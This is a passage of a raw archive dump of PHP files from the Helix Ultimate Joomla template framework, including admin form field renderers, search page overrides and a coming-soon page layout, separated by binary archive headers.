		$internal = !empty($attr['internal']) ? ' internal-use-only' : '';

		if ($depend)
		{
			$showon = Settings::parseShowOnConditions($attr['depend']);
			$dataShowon = ' data-revealon=\'' . json_encode($showon) . '\' ';
		}

		if (!empty($attr['data']))
		{
			foreach ($attr['data'] as $dataName => $dataValue)
			{
				$dataAttrs .= ' data-' . $dataName . '=' . $dataValue;
			}
		}

		$output  = '<div class="control-group ' . $className . '">';
		$output .= '<label>' . $attr['title'] . '</label>';

		if (!empty($attr['desc']))
		{
			$output .= '<span class="hu-help-icon hu-ml-2 fas fa-info-circle"></span>';
			$output .= '<p class="hu-control-help">' . $attr['desc'] . '</p>';
		}

		if ($isMenuBuilder)
		{
			$output .= '<input type="text" class="hu-input hu-input-color hu-megamenu-builder-' . $key . $internal . '" placeholder="#rrggbb" ' . $dataAttrs . ' name="' . $key . '" value="' . $value . '" />';
		}
		else
		{
			$output .= '<input type="text" class="hu-input hu-input-color" data-attrname="' . $key . '" placeholder="#rrggbb" value="">';
		}

		$output .= '</div>';

		return $output;
	}

}
PK!3썔))(helixultimate/layout/fields/checkbox.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

/**
 * Checkbox field
 *
 * @since	1.0.0
 */
class HelixultimateFieldCheckbox
{
	/**
	 * Get input for the field.
	 *
	 * @param	string	$key
	 * @param	array	$attr
	 *
	 * @return	string
	 * @since	1.0.0
	 */
	public static function getInput($key, $attr)
	{
		$isMenuBuilder = isset($attr['menu-builder']) && $attr['menu-builder'] === true;
		$value = !empty($attr['value']) ? $attr['value'] : '';
		$dataAttrs = '';
		$internal = !empty($attr['internal']) ? ' internal-use-only' : '';
		$className = $attr['class'] ?? '';

		if (!empty($attr['data']))
		{
			foreach ($attr['data'] as $dataName => $dataValue)
			{
				$dataAttrs .= ' data-' . $dataName . '=' . $dataValue;
			}
		}

		$output   = '<div class="control-group hu-style-switcher ' . $className . '">';
		$output  .= '<div class="checkbox clearfix">';
		$output  .= '<label class="control-label">' . $attr['title'];

		if (!empty($attr['desc']))
		{
			$output  .= '<span class="hu-help-icon hu-ml-2 fas fa-info-circle"></span>';
		}

		if ($isMenuBuilder)
		{
			$output .= '<input class="hu-input hu-megamenu-builder-' .
				$key . $internal . '" type="checkbox" ' . $dataAttrs . ' name="' .
				$key . '" value="' . $value . '" ' . ($value ? 'checked="checked"' : '') . ' />';
		}
		else
		{
			$output  .= '<input class="hu-input hu-input-' . $key . '" data-attrname="' . $key . '" type="checkbox">';
		}

		$output  .= '</label>';

		if (!empty($attr['desc']))
		{
			$output .= '<p class="hu-control-help">' . $attr['desc'] . '</p>';
		}

		$output  .= '</div>';
		$output  .= '</div>';

		return $output;
	}

}
PK!3i=~�	�	)helixultimate/layout/fields/alignment.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

/**
 * Text field.
 *
 * @since	 1.0.0
 */
class HelixultimateFieldAlignment
{
	/**
	 * Get input for the field.
	 *
	 * @param	string	$key
	 * @param	array	$attr
	 *
	 * @return	string
	 * @since	1.0.0
	 */
	public static function getInput($key, $attr)
	{
		$value = !empty($attr['value']) ? $attr['value'] : (isset($attr['default']) ? $attr['default'] : '');
		$dataAttrs = '';
		$internal = !empty($attr['internal']) ? ' internal-use-only' : '';
		$className = $attr['class'] ?? '';

		if (!empty($attr['data']))
		{
			foreach ($attr['data'] as $dataName => $dataValue)
			{
				$dataAttrs .= ' data-' . $dataName . '=' . $dataValue;
			}
		}

		$output  = '<div class="control-group hu-field-alignment ' . $className. '">';
		$output .= '<label>' . $attr['title'] . '</label>';

		if (!empty($attr['desc']))
		{
			$output .= '<span class="hu-help-icon hu-ml-2 fas fa-info-circle"></span>';
			$output .= '<p class="hu-control-help">' . $attr['desc'] . '</p>';
		}

		$output .= '<div class="controls">';
		$output .= '<div class="hu-switcher hu-switcher-inline hu-switcher-style-tab hu-switcher-style-tab-sm">';
		$output 	.= '<div class="hu-action-group">';
		$output 		.= '<span data-value="left" class="hu-switcher-action ' . ($value === 'left' ? 'active' : '') . '" role="button"><span class="fas fa-align-left" aria-hidden="true"></span></span>';
		$output 		.= '<span data-value="center" class="hu-switcher-action ' . ($value === 'center' ? 'active' : '') . '" role="button"><span class="fas fa-align-center" aria-hidden="true"></span></span>';
		$output 		.= '<span data-value="right" class="hu-switcher-action ' . ($value === 'right' ? 'active' : '') . '" role="button"><span class="fas fa-align-right" aria-hidden="true"></span></span>';
		$output 		.= '<span data-value="justify" class="hu-switcher-action ' . ($value === 'justify' ? 'active' : '') . '" role="button"><span class="fas fa-align-justify" aria-hidden="true"></span></span>';
		$output 	.= '</div>';
		$output .= '</div>';
		$output .= '</div>';

		$output .= '<input type="hidden" class="' . $internal . '" ' . $dataAttrs . ' name="' . $key . '" value="' . $value . '" />';

		$output .= '</div>';

		return $output;
	}

}
PK!��N+��(helixultimate/layout/fields/menutype.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Settings;
use Joomla\CMS\Language\Text;

/**
 * Text field.
 *
 * @since	 1.0.0
 */
class HelixultimateFieldMenuType
{
	/**
	 * Get input for the field.
	 *
	 * @param	string	$key
	 * @param	array	$attr
	 *
	 * @return	string
	 * @since	1.0.0
	 */
	public static function getInput($key, $attr)
	{
		$attributes = (isset($attr['placeholder']) && $attr['placeholder']) ? 'placeholder="' . $attr['placeholder'] . '"' : '';

		$value = !empty($attr['value']) ? $attr['value'] : '';
		$depend = isset($attr['depend']) ? $attr['depend'] : false;
		$className = $attr['class'] ?? '';
		$dataAttrs = '';
		$dataShowon = '';
		$internal = !empty($attr['internal']) ? ' internal-use-only' : '';

		if ($depend)
		{
			$showon = Settings::parseShowOnConditions($attr['depend']);
			$dataShowon = ' data-revealon=\'' . json_encode($showon) . '\' ';
		}

		if (!empty($attr['data']))
		{
			foreach ($attr['data'] as $dataName => $dataValue)
			{
				$dataAttrs .= ' data-' . $dataName . '=' . $dataValue;
			}
		}

		$output  = '<div class="control-group ' . $className . '" ' . $dataShowon . ' >';
		$output .= '<label>' . $attr['title'] . '</label>';

		if (!empty($attr['desc']))
		{
			$output .= '<span class="hu-help-icon hu-ml-2 fas fa-info-circle"></span>';
			$output .= '<p class="hu-control-help">' . $attr['desc'] . '</p>';
		}

		$output .= self::menuTypesField();

		$output .= '</div>';

		return $output;
	}

	private static function menuTypesField()
	{
		$html = [];
		$recordId = 0;

		$types = self::getMenuTypes();

		$tmpl = '1';
		$tmpl = "'" . \json_encode($tmpl, \JSON_NUMERIC_CHECK) . "'";
		$dropdownText = 'Select Menu Type';

		$html[] = '<a href="javascript:" class="hu-btn hu-btn-outline text-start hu-btn-block hu-has-dropdown hu-dropdown-toggle" data-target="#menuTypeDropdown">' . $dropdownText . '</a>';

		if (!empty($types))
		{
			$html[] = '<ul class="hu-dropdown" id="menuTypeDropdown">';

			foreach ($types as $name => $children)
			{
				if (!empty($children))
				{
					$html[] = '<li class="hu-has-submenu">';
					$html[] = '<a class="hu-dropdown-item">' . $name . '</a>';
					$html[] = '<ul class="hu-submenu">';

					foreach ($children as $child)
					{
						$menuType = [
							'id' => $recordId,
							'title' => isset($child->type) ? $child->type : Text::_($child->title),
							'request' => $child->request
						];
						$menuType = base64_encode(json_encode($menuType));

						$html[] = '<li><a class="hu-dropdown-item hu-menu-type-item" href="javascript:" data-menutype="' . $menuType . '" >';
						$html[] = '<h4 class="hu-menu-item-title">' . Text::_($child->title) . '</h4>';
						$html[] = '<span class="text-mute">' . Text::_($child->description) . '</span>';
						$html[] = '</a></li>';
					}

					$html[] = '</ul>';
					$html[] = '</li>';
				}
				else
				{
					$html[] = '<li><a class="hu-dropdown-item" href="javascript:">' . $name . '</a></li>';
				}
			}

			$html[] = '</ul>';
		}
		
		return implode("\n", $html);
	}

	public static function getMenuTypes()
	{
		$classUrl = JPATH_ADMINISTRATOR . '/components/com_menus/models/menutypes.php';
		$helperUrl = JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php';

		if (!\class_exists('MenusModelMenutypes'))
		{
			require_once $classUrl;
		}

		if (!\class_exists('MenusHelper'))
		{
			require_once $helperUrl;
		}

		$model = new \MenusModelMenutypes;

		$types = $model->getTypeOptions();

		self::addCustomTypes($types);

		$sortedTypes = [];

		foreach ($types as $name => $list)
		{
			$tmp = [];

			foreach ($list as $item)
			{
				$tmp[Text::_($item->title)] = $item;
			}

			\uksort($tmp, function($a, $b) {
				return \strcasecmp($a, $b);
			});

			$sortedTypes[Text::_($name)] = $tmp;
		}

		\uksort($sortedTypes, function($a, $b) {
			return \strcasecmp($a, $b);
		});

		return $sortedTypes;
	}

	private static function addCustomTypes(&$types)
	{
		if (empty($types))
		{
			$types = array();
		}

		// Adding System Links
		$list           = array();
		$o              = new \stdClass;
		$o->title       = 'HELIX_ULTIMATE_TYPE_EXTERNAL_URL';
		$o->type        = 'url';
		$o->description = 'HELIX_ULTIMATE_TYPE_EXTERNAL_URL_DESC';
		$o->request     = null;
		$list[]         = $o;

		$o              = new \stdClass;
		$o->title       = 'HELIX_ULTIMATE_TYPE_ALIAS';
		$o->type        = 'alias';
		$o->description = 'HELIX_ULTIMATE_TYPE_ALIAS_DESC';
		$o->request     = null;
		$list[]         = $o;

		$o              = new \stdClass;
		$o->title       = 'HELIX_ULTIMATE_TYPE_SEPARATOR';
		$o->type        = 'separator';
		$o->description = 'HELIX_ULTIMATE_TYPE_SEPARATOR_DESC';
		$o->request     = null;
		$list[]         = $o;

		$o              = new \stdClass;
		$o->title       = 'HELIX_ULTIMATE_TYPE_HEADING';
		$o->type        = 'heading';
		$o->description = 'HELIX_ULTIMATE_TYPE_HEADING_DESC';
		$o->request     = null;
		$list[]         = $o;

		$types['HELIX_ULTIMATE_TYPE_SYSTEM'] = $list;
	}

}
PK!q�5r��%helixultimate/layout/fields/media.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Uri\Uri;

/**
 * Media field.
 *
 * @since	1.0.0
 */
class HelixultimateFieldMedia
{
	/**
	 * Get input for the field.
	 *
	 * @param	string	$key
	 * @param	array	$attr
	 *
	 * @return	string
	 * @since	1.0.0
	 */
	public static function getInput($key, $attr)
	{
		$className = $attr['class'] ?? '';
		$output  = '<div class="control-group ' . $className . '">';
		$output .= '<label>' . $attr['title'] . '</label>';

		if (!empty($attr['desc']))
		{
			$output .= '<span class="hu-help-icon hu-ml-2 fas fa-info-circle"></span>';
			$output .= '<p class="hu-control-help">' . $attr['desc'] . '</p>';
		}

		$output .= '<div class="hu-image-holder"></div>';
		$output .= '<input type="hidden" class="hu-input hu-input-media" data-attrname="' . $key . '" data-baseurl="' . Uri::root() . '" value="">';
		$output .= '<a href="#" class="hu-media-picker hu-btn hu-btn-primary hu-mr-2" data-target="' . $key . '"><span class="fas fa-image" aria-hidden="true"></span> Select Media</a>';
		$output .= '<a href="#" class="hu-media-clear hu-btn hu-btn-secondary hide"><span class="fas fa-times" aria-hidden="true"></span> Clear</a>';

		$output .= '</div>';

		return $output;

	}
}
PK!nᔺhelixultimate/bootstrap.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
require_once __DIR__ . '/vendor/autoload.php';
PK!�(?�		<helixultimate/overrides/com_finder/search/default_result.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\String\StringHelper;

// Get the mime type class.
$mime = !empty($this->result->mime) ? 'mime-' . $this->result->mime : null;

$show_description = $this->params->get('show_description', 1);

if ($show_description)
{
	// Calculate number of characters to display around the result
	$term_length = StringHelper::strlen($this->query->input);
	$desc_length = $this->params->get('description_length', 255);
	$pad_length  = $term_length < $desc_length ? (int) floor(($desc_length - $term_length) / 2) : 0;

	// Find the position of the search term
	$pos = $term_length ? StringHelper::strpos(StringHelper::strtolower($this->result->description), StringHelper::strtolower($this->query->input)) : false;

	// Find a potential start point
	$start = ($pos && $pos > $pad_length) ? $pos - $pad_length : 0;

	// Find a space between $start and $pos, start right after it.
	$space = StringHelper::strpos($this->result->description, ' ', $start > 0 ? $start - 1 : 0);
	$start = ($space && $space < $pos) ? $space + 1 : $start;

	$description = HTMLHelper::_('string.truncate', StringHelper::substr($this->result->description, $start), $desc_length, true);
}

$route = $this->result->route;

// Get the route with highlighting information.
if (!empty($this->query->highlight)
	&& empty($this->result->mime)
	&& $this->params->get('highlight_terms', 1)
	&& PluginHelper::isEnabled('system', 'highlight'))
{
	$route .= '&highlight=' . base64_encode(json_encode($this->query->highlight));
}

?>
<li>
	<h4 class="result-title <?php echo $mime; ?>">
		<a href="<?php echo Route::_($route); ?>">
			<?php echo $this->result->title; ?>
		</a>
	</h4>
	<?php if ($show_description && $description !== '') : ?>
		<p class="result-text">
			<?php echo $description; ?>
		</p>
	<?php endif; ?>
	<?php if ($this->params->get('show_url', 1)) : ?>
		<div class="small result-url">
			<?php echo $this->baseUrl . Route::_($this->result->route); ?>
		</div>
	<?php endif; ?>
</li>
PK!�:6��=helixultimate/overrides/com_finder/search/default_results.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

?>
<?php // Display the suggested search if it is different from the current search. ?>
<?php if (($this->suggested && $this->params->get('show_suggested_query', 1)) || ($this->explained && $this->params->get('show_explained_query', 1))) : ?>
	<div id="search-query-explained">
		<?php // Display the suggested search query. ?>
		<?php if ($this->suggested && $this->params->get('show_suggested_query', 1)) : ?>
			<?php // Replace the base query string with the suggested query string. ?>
			<?php $uri = Uri::getInstance($this->query->toUri()); ?>
			<?php $uri->setVar('q', $this->suggested); ?>
			<?php // Compile the suggested query link. ?>
			<?php $linkUrl = Route::_($uri->toString(array('path', 'query'))); ?>
			<?php $link = '<a href="' . $linkUrl . '">' . $this->escape($this->suggested) . '</a>'; ?>
			<?php echo Text::sprintf('COM_FINDER_SEARCH_SIMILAR', $link); ?>
		<?php elseif ($this->explained && $this->params->get('show_explained_query', 1)) : ?>
			<?php // Display the explained search query. ?>
			<?php echo $this->explained; ?>
		<?php endif; ?>
	</div>
<?php endif; ?>
<?php // Display the 'no results' message and exit the template. ?>
<?php if (($this->total === 0) || ($this->total === null)) : ?>
	<div id="search-result-empty">
		<h2><?php echo Text::_('COM_FINDER_SEARCH_NO_RESULTS_HEADING'); ?></h2>
		<?php $multilang = Factory::getApplication()->getLanguageFilter() ? '_MULTILANG' : ''; ?>
		<p><?php echo Text::sprintf('COM_FINDER_SEARCH_NO_RESULTS_BODY' . $multilang, $this->escape($this->query->input)); ?></p>
	</div>
	<?php // Exit this template. ?>
	<?php return; ?>
<?php endif; ?>
<?php // Activate the highlighter if enabled. ?>
<?php if (!empty($this->query->highlight) && $this->params->get('highlight_terms', 1)) : ?>
	<?php HTMLHelper::_('behavior.highlighter', $this->query->highlight); ?>
<?php endif; ?>
<?php // Display a list of results ?>
<br id="highlighter-start" />
<ul class="search-results list-striped">
	<?php $this->baseUrl = Uri::getInstance()->toString(array('scheme', 'host', 'port')); ?>
	<?php foreach ($this->results as $result) : ?>
		<?php $this->result = &$result; ?>
		<?php $layout = $this->getLayoutFile($this->result->layout); ?>
		<?php echo $this->loadTemplate($layout); ?>
	<?php endforeach; ?>
</ul>
<br id="highlighter-end" />
<?php // Display the pagination ?>

<div class="search-pagination">
	<div class="w-100">
		<?php echo $this->pagination->getPagesLinks(); ?>
	</div>
	<div class="search-pages-counter">
		<?php // Prepare the pagination string.  Results X - Y of Z ?>
		<?php $start = (int) $this->pagination->limitstart + 1; ?>
		<?php $total = (int) $this->pagination->total; ?>
		<?php $limit = (int) $this->pagination->limit * $this->pagination->pagesCurrent; ?>
		<?php $limit = (int) ($limit > $total ? $total : $limit); ?>
		<?php echo Text::sprintf('COM_FINDER_SEARCH_RESULTS_OF', $start, $limit, $total); ?>
	</div>
</div>
PK!�!��:helixultimate/overrides/com_finder/search/default_form.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

if (JVERSION < 4)
{
	if ($this->params->get('show_advanced', 1) || $this->params->get('show_autosuggest', 1))
	{
		HTMLHelper::_('jquery.framework');
	
		$script = "
		jQuery(function() {";
	
		if ($this->params->get('show_advanced', 1))
		{
			/*
			* This segment of code disables select boxes that have no value when the
			* form is submitted so that the URL doesn't get blown up with null values.
			*/
			$script .= "
		jQuery('#finder-search').on('submit', function(e){
			e.stopPropagation();
			// Disable select boxes with no value selected.
			jQuery('#advancedSearch').find('select').each(function(index, el) {
				var el = jQuery(el);
				if(!el.val()){
					el.attr('disabled', 'disabled');
				}
			});
		});";
		}
	
		/*
		* This segment of code sets up the autocompleter.
		*/
		if ($this->params->get('show_autosuggest', 1))
		{
			HTMLHelper::_('script', 'jui/jquery.autocomplete.min.js', array('version' => 'auto', 'relative' => true));
	
			$script .= "
			var suggest = jQuery('#q').autocomplete({
				serviceUrl: '" . Route::_('index.php?option=com_finder&task=suggestions.suggest&format=json&tmpl=component') . "',
				paramName: 'q',
				minChars: 1,
				maxHeight: 400,
				width: 300,
				zIndex: 9999,
				deferRequestBy: 500
			});";
		}
	
		$script .= "
		});";
	
		Factory::getDocument()->addScriptDeclaration($script);
	}
}
else
{
	if ($this->params->get('show_autosuggest', 1))
	{
		$this->document->getWebAssetManager()->usePreset('awesomplete');
		$this->document->addScriptOptions('finder-search', array('url' => Route::_('index.php?option=com_finder&task=suggestions.suggest&format=json&tmpl=component')));
	}
}
?>

<form action="<?php echo Route::_($this->query->toUri()); ?>" id="finder-search" method="get" class="js-finder-searchform">
	<?php echo $this->getFields(); ?>

	<?php //DISABLED UNTIL WEIRD VALUES CAN BE TRACKED DOWN. ?>
	<?php if (false && $this->state->get('list.ordering') !== 'relevance_dsc') : ?>
		<input type="hidden" name="o" value="<?php echo $this->escape($this->state->get('list.ordering')); ?>">
	<?php endif; ?>
	<fieldset class="word mb-3">
		<label for="q" class="form-label">
			<?php echo Text::_('COM_FINDER_SEARCH_TERMS'); ?>
		</label>
		<div class="input-group">
			<input type="text" id="q" name="q" class="js-finder-search-query form-control" value="<?php echo $this->escape($this->query->input); ?>">
			<?php if ($this->escape($this->query->input) != '' || $this->params->get('allow_empty_query')) : ?>
				<button name="Search" type="submit" class="btn btn-primary">
					<span class="fas fa-search icon-white" aria-hidden="true"></span>
					<?php echo Text::_('JSEARCH_FILTER_SUBMIT'); ?>
				</button>
			<?php else : ?>
				<button name="Search" type="submit" class="btn btn-primary disabled">
					<span class="fas fa-search icon-white" aria-hidden="true"></span>
					<?php echo Text::_('JSEARCH_FILTER_SUBMIT'); ?>
				</button>
			<?php endif; ?>
			<?php if ($this->params->get('show_advanced', 1)) : ?>
				<a class="btn btn-secondary" data-bs-toggle="collapse" href="#advancedSearch" role="button" aria-expanded="false" aria-controls="advancedSearch">
					<span class="fas fa-search-plus" aria-hidden="true"></span>
					<?php echo Text::_('COM_FINDER_ADVANCED_SEARCH_TOGGLE'); ?>
				</a>
			<?php endif; ?>
		</div>
	</fieldset>

	<?php if ($this->params->get('show_advanced', 1)) : ?>
		<div id="advancedSearch" class="js-finder-advanced collapse<?php if ($this->params->get('expand_advanced', 0)) echo ' show'; ?>">
			<?php if ($this->params->get('show_advanced_tips', 1)) : ?>
				<div class="card card-outline-secondary mb-3">
					<div class="card-body">
						<?php echo Text::_('COM_FINDER_ADVANCED_TIPS'); ?>
					</div>
				</div>
			<?php endif; ?>
			<div id="finder-filter-window">
				<?php echo HTMLHelper::_('filter.select', $this->query, $this->params); ?>
			</div>
		</div>
	<?php endif; ?>
</form>PK!�
{w��5helixultimate/overrides/com_finder/search/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;


if(JVERSION < 4)
{
	HTMLHelper::_('behavior.core');
	HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers/html');
	
	HTMLHelper::_('stylesheet', 'com_finder/finder.css', array('version' => 'auto', 'relative' => true));
	HTMLHelper::_('stylesheet', 'vendor/awesomplete/awesomplete.css', array('version' => 'auto', 'relative' => true));
	
	Text::script('MOD_FINDER_SEARCH_VALUE', true);
	
	HTMLHelper::_('script', 'com_finder/finder.js', array('version' => 'auto', 'relative' => true));
}
else
{
	$this->document->getWebAssetManager()
		->useStyle('com_finder.finder')
		->useScript('com_finder.finder');
}
?>
<div class="finder">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<h1>
			<?php if ($this ->escape($this->params->get('page_heading'))) : ?>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			<?php else : ?>
				<?php echo $this->escape($this->params->get('page_title')); ?>
			<?php endif; ?>
		</h1>
	<?php endif; ?>
	<?php if ($this->params->get('show_search_form', 1)) : ?>
		<div id="search-form">
			<?php echo $this->loadTemplate('form'); ?>
		</div>
	<?php endif; ?>
	<?php // Load the search results layout if we are performing a search. ?>
	<?php if ($this->query->search === true) : ?>
		<div id="search-results">
			<?php echo $this->loadTemplate('results'); ?>
		</div>
	<?php endif; ?>
</div>
PK!��bJGhelixultimate/overrides/layouts/com_contact/joomla/form/renderfield.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;

extract($displayData);

if (!empty($options['showonEnabled']))
{
	if (JVERSION < 4)
	{
		HTMLHelper::_('jquery.framework');
		HTMLHelper::_('script', 'system/cms.min.js', array('version' => 'auto', 'relative' => true));
	}
	else
	{
		/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
		$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
		$wa->useScript('showon');
	}
}

$name 			 = $name ?? '';
$class           = empty($options['class']) ? '' : ' ' . $options['class'];
$rel             = empty($options['rel']) ? '' : ' ' . $options['rel'];
$id              = $name . '-desc';
$hideLabel       = !empty($options['hiddenLabel']);
$hideDescription = empty($options['hiddenDescription']) ? false : $options['hiddenDescription'];

if (!empty($parentclass))
{
	$class .= ' ' . $parentclass;
}

?>
<div class="control-group<?php echo $class; ?>"<?php echo $rel; ?>>
	<?php if ($hideLabel) : ?>
		<div class="visually-hidden"><?php echo $label; ?></div>
	<?php else : ?>
		<?php echo $label; ?>
	<?php endif; ?>
	<?php echo $input; ?>
	<?php if (!$hideDescription && !empty($description)) : ?>
		<div id="<?php echo $id; ?>">
			<small class="form-text">
				<?php echo $description; ?>
			</small>
		</div>
	<?php endif; ?>
</div>
PK!g)\MVV.helixultimate/overrides/layouts/comingsoon.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */

defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use HelixUltimate\Framework\Core\HelixUltimate;

extract($displayData);

$app = Factory::getApplication();
$doc = Factory::getDocument();


/**
 * Load the bootstrap file for enabling the HelixUltimate\Framework namespacing.
 *
 * @since	2.0.0
 */
$bootstrap_path = JPATH_PLUGINS . '/system/helixultimate/bootstrap.php';

if (file_exists($bootstrap_path))
{
	require_once $bootstrap_path;
}
else
{
	die('Install and activate <a target="_blank" rel="noopener noreferrer" href="https://www.joomshaper.com/helix">Helix Ultimate Framework</a>.');
}

$theme = new HelixUltimate;
$site_title = $app->get('sitename');
?>

<!doctype html>
<html class="coming-soon" lang="<?php echo $language; ?>" dir="<?php echo $direction; ?>">
	<head>
		<meta charset="utf-8">
		<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
		<?php
			$theme->head();
			$theme->add_js('jquery.countdown.min.js');
			$theme->add_js('custom.js');
			$theme->add_css('font-awesome.min.css, template.css');
			$theme->add_css('presets/' . $params->get('preset', 'preset1') . '.css');
			$theme->add_css('custom.css');

			//Custom CSS
			if ($custom_css = $params->get('custom_css'))
			{
				$doc->addStyledeclaration($custom_css);
			}

			//Custom JS
			if ($custom_js = $params->get('custom_js'))
			{
				$doc->addScriptdeclaration($custom_js);
			}
		?>
	</head>
	<body>
		<div class="container">

			<jdoc:include type="message" />

			<?php if($params->get('comingsoon_logo')) : ?>
				<img class="coming-soon-logo" src="<?php echo $params->get('comingsoon_logo'); ?>" alt="<?php echo htmlspecialchars($site_title); ?>">
			<?php endif; ?>

			<?php if($params->get('comingsoon_title')) : ?>
				<h1 class="coming-soon-title"><?php echo htmlspecialchars($params->get('comingsoon_title')); ?></h1>
			<?php else: ?>
				<h1 class="coming-soon-title"><?php echo htmlspecialchars($site_title); ?></h1>
			<?php endif; ?>

			<?php if($params->get('comingsoon_content')) : ?>
				<div class="row justify-content-center">
					<div class="col-lg-8">
						<div class="coming-soon-content">
							<?php echo $params->get('comingsoon_content'); ?>
						</div>
					</div>
				</div>
			<?php else: ?>
				<?php if ($app->get('display_offline_message', 1) == 1 && str_replace(' ', '', $app->get('offline_message')) != '') : ?>
					<div class="row justify-content-center">
						<div class="col-lg-8">
							<div class="coming-soon-content">
								<?php echo $app->get('offline_message'); ?>
							</div>
						</div>
					</div>
				<?php elseif ($app->get('display_offline_message', 1) == 2) : ?>
					<div class="row justify-content-center">
						<div class="col-lg-8">
							<div class="coming-soon-content">
								<?php echo Text::_('JOFFLINE_MESSAGE'); ?>
							</div>
						</div>
					</div>
				<?php endif; ?>
			<?php endif; ?>

			<?php if($params->get('comingsoon_date')) : ?>
				<?php $comingsoon_date = explode('-', $params->get("comingsoon_date")); ?>
				<div id="coming-soon-countdown" class="clearfix"></div>
				<script type="text/javascript">
					jQuery(function($) {
						$('#coming-soon-countdown').countdown('<?php echo trim($comingsoon_date[2]); ?>/<?php echo trim($comingsoon_date[1]); ?>/<?php echo trim($comingsoon_date[0]); ?>', function(event) {
							$(this).html(event.strftime('<div class="coming-soon-days"><span class="coming-soon-number">%-D</span><span class="coming-soon-string">%!D:<?php echo JText::_("HELIX_ULTIMATE_DAY"); ?>,<?php echo JText::_("HELIX_ULTIMATE_DAYS"); ?>;</span></div><div class="coming-soon-hours"><span class="coming-soon-number">%H</span><span class="coming-soon-string">%!H:<?php echo JText::_("HELIX_ULTIMATE_HOUR"); ?>,<?php echo JText::_("HELIX_ULTIMATE_HOURS"); ?>;</span></div><div class="coming-soon-minutes"><span class="coming-soon-number">%M</span><span class="coming-soon-string">%!M:<?php echo JText::_("HELIX_ULTIMATE_MINUTE"); ?>,<?php echo JText::_("HELIX_ULTIMATE_MINUTES"); ?>;</span></div><div class="coming-soon-seconds"><span class="coming-soon-number">%S</span><span class="coming-soon-string">%!S:<?php echo JText::_("HELIX_ULTIMATE_SECOND"); ?>,<?php echo JText::_("HELIX_ULTIMATE_SECONDS"); ?>;</span></div>'));
						});
					});
				</script>
			<?php endif; ?>

			<?php if($theme->count_modules('comingsoon')) : ?>
				<div class="coming-soon-position">
					<jdoc:include type="modules" name="comingsoon" style="sp_xhtml" />
				</div>
			<?php endif; ?>

			<?php
				$facebook 	= $params->get('facebook');
				$twitter  	= $params->get('twitter');
				$pinterest 	= $params->get('pinterest');
				$youtube 	= $params->get('youtube');
				$linkedin 	= $params->get('linkedin');
				$dribbble 	= $params->get('dribbble');
				$behance 	= $params->get('behance');
